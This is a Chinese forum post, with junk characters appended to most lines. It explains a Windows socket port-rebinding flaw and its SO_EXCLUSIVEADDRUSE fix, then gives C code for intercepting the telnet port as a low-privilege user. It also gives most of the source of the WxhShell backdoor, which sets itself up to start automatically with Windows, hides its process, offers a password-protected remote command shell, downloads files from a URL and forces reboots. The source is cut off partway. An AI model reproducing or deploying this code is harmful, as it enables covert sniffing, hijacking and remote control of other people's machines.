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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B 9dt=j3j2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >!6JKL~=  
SI:ifR&T  
  saddr.sin_family = AF_INET; ^eq</5q D  
kLSrj\6I[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q 9F)  
!0VfbY9C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?9+@+q  
3(E $I5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]3{0J  
+C]&2zc.  
  这意味着什么?意味着可以进行如下的攻击: Pt,ebL~  
"\%On >  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F"+o@9]  
&]6) LFm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \K2*Q&>  
Y$>-%KcKeI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _o3e]{  
cR7wx 0Aj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p zw8T  
x[_=#8~.1x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }ET,ysa  
fK}h"iH+K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E$s/]wnr[  
. RVVWqW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &n2e  
C]u',9,  
  #include Q[n\R@  
  #include AEirj /  
  #include e0,'+;*=g  
  #include    }Nj97 R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b p<^R  
  int main() |H}sYp  
  { E`\8TqO  
  WORD wVersionRequested; ,V] ]: eR  
  DWORD ret; b]Kk2S/  
  WSADATA wsaData; Y qdWctUY  
  BOOL val; 9;t]Hp_+K  
  SOCKADDR_IN saddr; rM}0%J'  
  SOCKADDR_IN scaddr; o?Nu:&yE  
  int err; qZk'tRv  
  SOCKET s; jF"YTr6  
  SOCKET sc; 2/P"7A=<  
  int caddsize; %u\26[/  
  HANDLE mt; +%>:0mT  
  DWORD tid;   n^(A=G  
  wVersionRequested = MAKEWORD( 2, 2 ); bKVj[r8D~  
  err = WSAStartup( wVersionRequested, &wsaData ); ] f>]n  
  if ( err != 0 ) { \{\MxXW  
  printf("error!WSAStartup failed!\n"); hn)a@  
  return -1; . 9G<y 4  
  } 4R%*Z ~  
  saddr.sin_family = AF_INET; \YJy#2K  
   tq50fq'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /TQ}} YVw  
<lxD}DH=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4DWwbO  
  saddr.sin_port = htons(23); yq[Cq=rBk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n| O [a6G  
  { yqOuX>m1c  
  printf("error!socket failed!\n"); Yj(4&&Q  
  return -1; 7^TV~E#  
  } faXx4A2"  
  val = TRUE; 4NR@u\S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G\gMC <3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /?-7Fg+,  
  { 6R UrF  
  printf("error!setsockopt failed!\n"); u`:hMFTID  
  return -1; Gi6T["  
  } XkmQBV"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; / jTT5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M[ 5[N{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t%1^Li  
VObrlOkp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I8Vb-YeS  
  { Fig&&b a  
  ret=GetLastError(); N[|Nxm0z/C  
  printf("error!bind failed!\n"); nxm$}!Df  
  return -1; X26   
  } ZUXr!v/R:1  
  listen(s,2); =4!nFi  
  while(1) hv$yV%.`  
  { p4u5mM  
  caddsize = sizeof(scaddr); n}-3o]ku  
  //接受连接请求 !|?e7u7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p\v Mc\  
  if(sc!=INVALID_SOCKET) Q-TV*FD.  
  { M.}7pJ7f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CDy^UQb  
  if(mt==NULL) bEuaOBc  
  { he3SR @\T  
  printf("Thread Creat Failed!\n"); (LAXM x  
  break; 6X g]/FD  
  } +0z 7KO%^^  
  } YMpf+kN  
  CloseHandle(mt); k5d\ w@G"~  
  } CE NVp"C/`  
  closesocket(s); Jc4L5*Xn/  
  WSACleanup(); wYsZM/lw  
  return 0; qUF'{K   
  }   ]Z<_ " F  
  DWORD WINAPI ClientThread(LPVOID lpParam) :HViX:]H  
  { XdEPbD-  
  SOCKET ss = (SOCKET)lpParam; J<j&;:IRd  
  SOCKET sc; Doze8pn  
  unsigned char buf[4096]; fg%&N2/(.B  
  SOCKADDR_IN saddr; 1r[@(c0  
  long num; n_K~ vD  
  DWORD val; T>>YNaUL  
  DWORD ret; ;a"q'5+Ne  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2+8#H.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y9Y1PH7G  
  saddr.sin_family = AF_INET; ]bCq=6ZKR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d~tuk4F  
  saddr.sin_port = htons(23); l":c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )bOBQbj  
  { 5R MS(  
  printf("error!socket failed!\n"); cRvvzX  
  return -1; 2R-A@UE2  
  } $.6K!x{(  
  val = 100; JEn3`B!*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qf'm=efRyu  
  { uw\1b.r'B  
  ret = GetLastError(); #PLEPB  
  return -1; Sywu=b  
  } 46jh-4) <  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RH)EB<PV  
  { s3s4OAY  
  ret = GetLastError(); hi =XYC,  
  return -1; }SyxPXs  
  } fCAiLkT,C[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }H:F< z*  
  { EER`?Sa(  
  printf("error!socket connect failed!\n"); S|AM9*k9  
  closesocket(sc); "pxzntY|  
  closesocket(ss); UsVMoX^  
  return -1; #eP LOR&q  
  }  2B~wHv  
  while(1) l kIn%=Z  
  { "kMzmo=Pv5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -php6$|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ths_CKwgWY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  /RZR}  
  num = recv(ss,buf,4096,0); fr6^nDY  
  if(num>0) B=L&bx  
  send(sc,buf,num,0); j '%4{n  
  else if(num==0) iItcN;;7  
  break; q*jNH\|  
  num = recv(sc,buf,4096,0); W~T}@T:EN  
  if(num>0) #PvB/3  
  send(ss,buf,num,0); Q3W#`6jpF  
  else if(num==0) EC&@I+'8Q  
  break; G%p~m%zIK  
  } D:\g,\Z  
  closesocket(ss); }]1BO  
  closesocket(sc); {'+Q H)w(  
  return 0 ; gE/Tj$  
  } f},oj4P\  
N<|$h5isq  
_GQz!YA  
========================================================== p4>$z& _  
Q\ ^[!|  
下边附上一个代码,,WXhSHELL %b.UPS@I  
7)rWw<mY  
========================================================== FxG7Pk+=  
6~:Sgt nU  
#include "stdafx.h" aMARZ)V  
[36,eK  
#include <stdio.h> ?eV(1 Fr@  
#include <string.h> Dz=k7zRg"  
#include <windows.h> DQ.v+C,  
#include <winsock2.h> /(I*,.d  
#include <winsvc.h> 8qi+IGRg  
#include <urlmon.h> x Ha=3n  
!%<^K.wG  
#pragma comment (lib, "Ws2_32.lib") kU5.iK'  
#pragma comment (lib, "urlmon.lib") EY`H}S!xy  
g_*T?;!.U  
#define MAX_USER   100 // 最大客户端连接数 8?t"C_>*e  
#define BUF_SOCK   200 // sock buffer /NT[ETMk+  
#define KEY_BUFF   255 // 输入 buffer XALI<ZY  
*MN HT`Y^o  
#define REBOOT     0   // 重启 a>4uiFiv  
#define SHUTDOWN   1   // 关机 2g*J  
'J*<iA*W  
#define DEF_PORT   5000 // 监听端口 BIaDY<j90  
h.rD}N\L  
#define REG_LEN     16   // 注册表键长度 $h9='0Wi0'  
#define SVC_LEN     80   // NT服务名长度 `D( xv  
/5AW?2)  
// 从dll定义API #0I{.Wy]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |4)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >4m'tZ8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +,+vkpL-%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WE}kTq  
Hs"(@eDV&J  
// wxhshell配置信息 ;T]d M fO  
struct WSCFG { 5 v^yQ<70  
  int ws_port;         // 监听端口 $!vxVs9n  
  char ws_passstr[REG_LEN]; // 口令 h)lPi   
  int ws_autoins;       // 安装标记, 1=yes 0=no 31^cz*V  
  char ws_regname[REG_LEN]; // 注册表键名 E9j+o y  
  char ws_svcname[REG_LEN]; // 服务名 T&Xl'=/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >>l`,+y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  uD_v!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X#xFFDzN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z_;3H,z`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "; [ iZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v4Zb? Yb  
}g +;y  
}; :qhpL-ER  
@ufo$?D  
// default Wxhshell configuration [@ <sFP;g  
struct WSCFG wscfg={DEF_PORT, >$677  
    "xuhuanlingzhe", >t,M  
    1, >!e<}84b  
    "Wxhshell", c97{Pu  
    "Wxhshell", 148V2H)  
            "WxhShell Service", ?[TfpAtQ`  
    "Wrsky Windows CmdShell Service", dCYCHHHF  
    "Please Input Your Password: ", Zt -1h{7  
  1, + Y.1)i}  
  "http://www.wrsky.com/wxhshell.exe", h[KvhbD3   
  "Wxhshell.exe" 7T``-:`[  
    }; RT/o$$  
oq/G`{`\  
// 消息定义模块 gC%G;-gm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Agh`]XQ2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4nfu6Dq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )O+}T5c=  
char *msg_ws_ext="\n\rExit."; lv0nEj8F  
char *msg_ws_end="\n\rQuit."; -F&U  
char *msg_ws_boot="\n\rReboot..."; h-a!q7]l  
char *msg_ws_poff="\n\rShutdown..."; ))D:8l@  
char *msg_ws_down="\n\rSave to "; .D,p@4  
g]@ (E  
char *msg_ws_err="\n\rErr!"; z2gk[zY&  
char *msg_ws_ok="\n\rOK!"; Zv]x'3J#Y  
yfQ5:X  
char ExeFile[MAX_PATH]; z@|dzvjl Q  
int nUser = 0; 'z@0  
HANDLE handles[MAX_USER]; j!~l,::$"X  
int OsIsNt; Kyt)2p  
hD,:w%M  
SERVICE_STATUS       serviceStatus; Tl]e%A`|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $yDWu"R8  
nL@KX>  
// 函数声明 M4LP$N  
int Install(void); 0l*]L`]L#  
int Uninstall(void); w1x" c>1C  
int DownloadFile(char *sURL, SOCKET wsh); 'k;4j|<  
int Boot(int flag); B0$:b !  
void HideProc(void); ~9^)wCM+  
int GetOsVer(void); <P ,~eX(r  
int Wxhshell(SOCKET wsl); e"]8T},  
void TalkWithClient(void *cs); W/z7"#  
int CmdShell(SOCKET sock); x_=n-lAF  
int StartFromService(void); [u@Jc,  
int StartWxhshell(LPSTR lpCmdLine); Z 2}ah  
<tpmUA[]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'crlA~&#/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c5q9 LQ/  
5wB =>  
// 数据结构和表定义 [L`ZE*z  
SERVICE_TABLE_ENTRY DispatchTable[] = 0C<[9Dl.G8  
{ M}:=zcZ l  
{wscfg.ws_svcname, NTServiceMain}, +;BAV  
{NULL, NULL} .Ig+Dj{)  
}; +h^jC9,m~{  
mE O \r|A  
// 自我安装 dG QG!l+>  
int Install(void) 8 a!Rb-Q:  
{ ,jA)wJ  
  char svExeFile[MAX_PATH]; <99M@ cF  
  HKEY key; ~ * :F{  
  strcpy(svExeFile,ExeFile); i"zuil  
\y6OUM2y  
// 如果是win9x系统,修改注册表设为自启动 eAUcv`[#p  
if(!OsIsNt) { O1%pxX'`S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f-6vLX\Vu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); waX>0e  
  RegCloseKey(key); gK#mPcn^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EcIE~qs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t$2_xX  
  RegCloseKey(key); K]/4qH$:  
  return 0; HCK|~k  
    } n%h^o   
  } V$0dtvGvH  
} Z UKf`m[  
else { g71[6<D  
rG?>ltxB  
// 如果是NT以上系统,安装为系统服务 mOo`ZcTU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @3fn)YQ'  
if (schSCManager!=0) NC&DFJo  
{ G 6VF>2  
  SC_HANDLE schService = CreateService &<zd.~N"  
  ( gh`m*@  
  schSCManager, `&0Wv0D0  
  wscfg.ws_svcname, G;> _<22  
  wscfg.ws_svcdisp, *"9><lJ-!  
  SERVICE_ALL_ACCESS, 6cqP2!~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bNT9 H`P  
  SERVICE_AUTO_START, 5tQ1fJze  
  SERVICE_ERROR_NORMAL, aKU*j9A?;Z  
  svExeFile, Q 4CjA3  
  NULL, #T`t79*N  
  NULL, 4'W'}o|{  
  NULL, Z, BC*  
  NULL, Ehz o05/!  
  NULL Va Z!.#(P  
  ); pEECHk  
  if (schService!=0) (R`B'OtGg  
  { r&-m=Kk$  
  CloseServiceHandle(schService); 9a'-Y  
  CloseServiceHandle(schSCManager); Uax+dl   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fEB7j-t  
  strcat(svExeFile,wscfg.ws_svcname); (E,T#uc{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f3`7tA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MO;X>D=  
  RegCloseKey(key); f7Ul(D:j\  
  return 0; q&C""!h^  
    } !4]9!<.k  
  } kyR*D1N&)  
  CloseServiceHandle(schSCManager); tx?dIy;  
} CctJFcEZ  
} kw2T>  
&A#~)i5gF  
return 1; rD>*j~_+P  
} !w BJ,&E  
F~ Lx|)0M  
// 自我卸载 (EPsTox  
int Uninstall(void) fs/*V~@  
{ j }b\Z9)!  
  HKEY key; QMv@:Eo  
lRh9j l  
if(!OsIsNt) { 3D?s L!W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %s19KGpA  
  RegDeleteValue(key,wscfg.ws_regname); z;@*r}H  
  RegCloseKey(key); 9Fn\FYUq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! 8`3GX:B_  
  RegDeleteValue(key,wscfg.ws_regname); ;#w3{ NB  
  RegCloseKey(key); V I% 6.6D  
  return 0; U]a*uF~h  
  } ){jl a,[  
} H@]MXP[_  
} mf'V)  
else { /VG2.:  
[w ;kkMJAy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \h8 <cTQ  
if (schSCManager!=0) -G6U$  
{ Ty88}V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z`YJBcXR  
  if (schService!=0) fhB}9i^]tg  
  { 0p89: I*0  
  if(DeleteService(schService)!=0) { UA|u U5Q  
  CloseServiceHandle(schService); HSq}7S&U  
  CloseServiceHandle(schSCManager); A 7[:5$  
  return 0; 'vNG(h#%d  
  } )8g(:`w  
  CloseServiceHandle(schService);   TX  
  } SwZA6R&  
  CloseServiceHandle(schSCManager); e{Z &d  
} EJ2yO@5O  
} <FZ@Q[RP  
e}1uz3Rh  
return 1; ^pHq66d%Z  
} },|M9 I0  
H#ClIh?'b  
// 从指定url下载文件 L5MzLE&~  
int DownloadFile(char *sURL, SOCKET wsh) sVex (X  
{ b86}% FM  
  HRESULT hr; k{t`|BnPKB  
char seps[]= "/"; vm>b m  
char *token; (h:Rh  
char *file; 37}D9:#5C  
char myURL[MAX_PATH]; w3$   
char myFILE[MAX_PATH]; b+Br=Fv"T  
`p+Zz"/  
strcpy(myURL,sURL); ToYAW,U[d  
  token=strtok(myURL,seps); 47J5oPT2'  
  while(token!=NULL) $\9~)Rq6  
  { 8V~vXnkM  
    file=token;  T Q,?>6n  
  token=strtok(NULL,seps); 4*$G & TX  
  } e1P"[|9>R  
3po:xMY  
GetCurrentDirectory(MAX_PATH,myFILE); }l=xiAF  
strcat(myFILE, "\\"); G}p\8Q}'  
strcat(myFILE, file); )2M>3C6>f  
  send(wsh,myFILE,strlen(myFILE),0); = 9 T$Gr  
send(wsh,"...",3,0); #KO,~]k5|e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i&n'N8D@  
  if(hr==S_OK) O+ICol  
return 0; t%8d-+$  
else j1(D]Z=\  
return 1; o6p98Dpg   
?Q&yEGm(  
} _Zr.ba  
b".L_Ma1*  
// 系统电源模块 }1rm  
int Boot(int flag) Ps<d('=  
{ B/n[m@O  
  HANDLE hToken; V dn&c  
  TOKEN_PRIVILEGES tkp; IH"6? 9nd  
Nv"EV;$  
  if(OsIsNt) { )RcL/n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]~3U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N;[>,0&z  
    tkp.PrivilegeCount = 1; 1x,tu}<u^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +sJrllrE(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gw1@KKg  
if(flag==REBOOT) { F;>!&[h}G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \nP>:5E1  
  return 0; ^4o;$u4R  
} R=KQ  
else { vI@%Fg+D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wiBVuj#  
  return 0; Ox@P6|m  
} ^I+)o1%F  
  } *2GEnAZb7n  
  else { J4\qEO  
if(flag==REBOOT) { h5K$mA5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <wAFy>7  
  return 0; QNl'ZB \  
} z0do;_x]E  
else { m1*O0Tg]"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uyY|v$FM  
  return 0; &@3H%DP}Ql  
} |p-t%xDdr  
} LupkrxV  
)[Yv?>ib  
return 1; ~ _!F01s  
} 1u9LdkhnY  
p"U, G -_  
// win9x进程隐藏模块 yR\btx|e5~  
void HideProc(void) zi3\63D3eO  
{ pf7it5  
[#sz WNfU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L~KM=[cn  
  if ( hKernel != NULL ) d0,s"K7@  
  { ~JH:EB:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >_LDMs[-p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tq4-wE+  
    FreeLibrary(hKernel); W='> :H  
  } U,.![TP  
z+>}RT]  
return; WH \)) y-  
} VzKW:St  
VZl6t;cn  
// 获取操作系统版本 +) m_o"hl  
int GetOsVer(void) Pp5^@A  
{ lO_UPC\@fw  
  OSVERSIONINFO winfo; %p 0xM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s91JBP|B7  
  GetVersionEx(&winfo); UMcgdJB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z.I9wQ]X[  
  return 1; mOlI#5H  
  else ze]h..,]K  
  return 0; 5hy""i  
} J`^I./  
oo.2Dn6z  
// 客户端句柄模块 }O4^Cc6  
int Wxhshell(SOCKET wsl) q')R4=0 K  
{ `kJ^zw+  
  SOCKET wsh; `{xNXH]@  
  struct sockaddr_in client; +o51x'Ld*  
  DWORD myID; O7$hYk  
~7Tc$ "I  
  while(nUser<MAX_USER) 6efnxxY}sa  
{ .uk>QM s1  
  int nSize=sizeof(client); yT,.z 0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >#y^;/bb  
  if(wsh==INVALID_SOCKET) return 1; PxS8 n?y  
9,r rQQD_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {7/0< N G  
if(handles[nUser]==0) Zc`BiLzrIG  
  closesocket(wsh); GHeVp/u  
else se>MQM5 )  
  nUser++; '&|=0TDd+  
  } _Iv6pNd/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %$Aqle[  
^~A>8CQOU  
  return 0; bG(3^"dS  
} AlIpsJ[UU  
ut I"\1hQ  
// 关闭 socket Aj4T"^fv  
void CloseIt(SOCKET wsh) UTH_^HAN#G  
{ Sh8"F@P8  
closesocket(wsh); " _ka<R..  
nUser--; w2'f/  
ExitThread(0);  pn5Q5xc  
} K]0JC/R6(@  
5)MS~ii  
// 客户端请求句柄 }dd8N5b  
void TalkWithClient(void *cs) #hsx#x||  
{ )}?#  
A?pbWt ~}  
  SOCKET wsh=(SOCKET)cs; g #6E|n  
  char pwd[SVC_LEN]; fk x \=  
  char cmd[KEY_BUFF]; a,WICv0E  
char chr[1]; L');!/:  
int i,j; :d#VE-e  
jyZWV L:_  
  while (nUser < MAX_USER) { 9AJ7h9L  
XnWr5-;  
if(wscfg.ws_passstr) { N/K.%<h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9B7^lR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SV~~Q_U9  
  //ZeroMemory(pwd,KEY_BUFF); PJL=$gBgKk  
      i=0; Rw:*'1  
  while(i<SVC_LEN) { HEM9E&rL  
aiu5}%U  
  // 设置超时 uD @#  
  fd_set FdRead; lH6OcD:kj  
  struct timeval TimeOut; +P`*kj-P\  
  FD_ZERO(&FdRead); Kiu_JzD  
  FD_SET(wsh,&FdRead); 1jF`5k  
  TimeOut.tv_sec=8; csW43&  
  TimeOut.tv_usec=0; L=sYLC6d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nu?-0>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K%RxwM  
# a8B/-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  VN\W]jT  
  pwd=chr[0]; (j3xAA  
  if(chr[0]==0xd || chr[0]==0xa) { YS*9t Q{  
  pwd=0; -3=#u_  
  break; ?qWfup\S  
  } @6]sNm  
  i++; xM&Wgei]10  
    } <yH4HY  
J.xPv)1'  
  // 如果是非法用户,关闭 socket K8UP,f2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %*0^0wz  
} 8Y7Q+p|O  
>^*+iEe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M 4?ig}kh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Ezw ~hn  
Pf\D-1gi  
while(1) { m4l& eEp  
WL?\5?G 9l  
  ZeroMemory(cmd,KEY_BUFF); rcC<Zat,|  
2vWx)Drb6  
      // 自动支持客户端 telnet标准   .Lsavpo  
  j=0; }%_ b$  
  while(j<KEY_BUFF) { \}"$ ?d'f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9|gr0&#~j  
  cmd[j]=chr[0]; )6D,d5<  
  if(chr[0]==0xa || chr[0]==0xd) { :i. {  
  cmd[j]=0; Wg<(ms dj  
  break; "Pu!dJ5[]  
  } f>UXD  
  j++; E(8* pI  
    } !FElW`F  
g9Xu@N;bL  
  // 下载文件 K+3IWZ&+dG  
  if(strstr(cmd,"http://")) { 9{5&^RbCp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }n3/vlW9  
  if(DownloadFile(cmd,wsh)) |m^k_d!d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G2Qlt@.T  
  else yEhTNBa*h{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J:V6  
  } YW( Qmo7  
  else { 0dGAP  
@ W[f1  
    switch(cmd[0]) { zGA q-<  
  H?&Mbw d  
  // 帮助 6sx'S?Qa*  
  case '?': { 0+kH:dP{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;kS&A(  
    break; =,_ +0M9  
  } QSszn`e  
  // 安装 ?&63#B,iZ  
  case 'i': { Rld!,t  
    if(Install()) jU9$Ehg I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :+z4~% jA  
    else ;7 E7!t^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &3J_^210  
    break; uao0_swW5  
    } S~;4*7+?:  
  // 卸载 ebUBrxZX  
  case 'r': { 1p/3!1  
    if(Uninstall()) V@ cM|(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #t: S.A@  
    else XBb~\p3y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zxbpEJzpn  
    break; MHX?@. v  
    } $_o-~F2i5  
  // 显示 wxhshell 所在路径 =}DR) 9  
  case 'p': { Rn9m]x  
    char svExeFile[MAX_PATH]; (`c [#0=n  
    strcpy(svExeFile,"\n\r"); -bT)]gA2  
      strcat(svExeFile,ExeFile); %yW3VL  
        send(wsh,svExeFile,strlen(svExeFile),0); xp }hev^@$  
    break; 2(u,SQ  
    } G IT>L  
  // 重启 tG9BfGF  
  case 'b': { WJkZ!O$"j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4W#vP  
    if(Boot(REBOOT)) |Lf"6^@yh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rvbLyv;~  
    else { @|63K)Xy  
    closesocket(wsh); BGD8w2  
    ExitThread(0); qln3 k`  
    } p?) ;eJtV/  
    break; beRVD>T  
    } r&R B9S@*h  
  // 关机 El[)?+;D  
  case 'd': { +;N2p1ZBf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VEqS;~[  
    if(Boot(SHUTDOWN)) }L+L"l&  
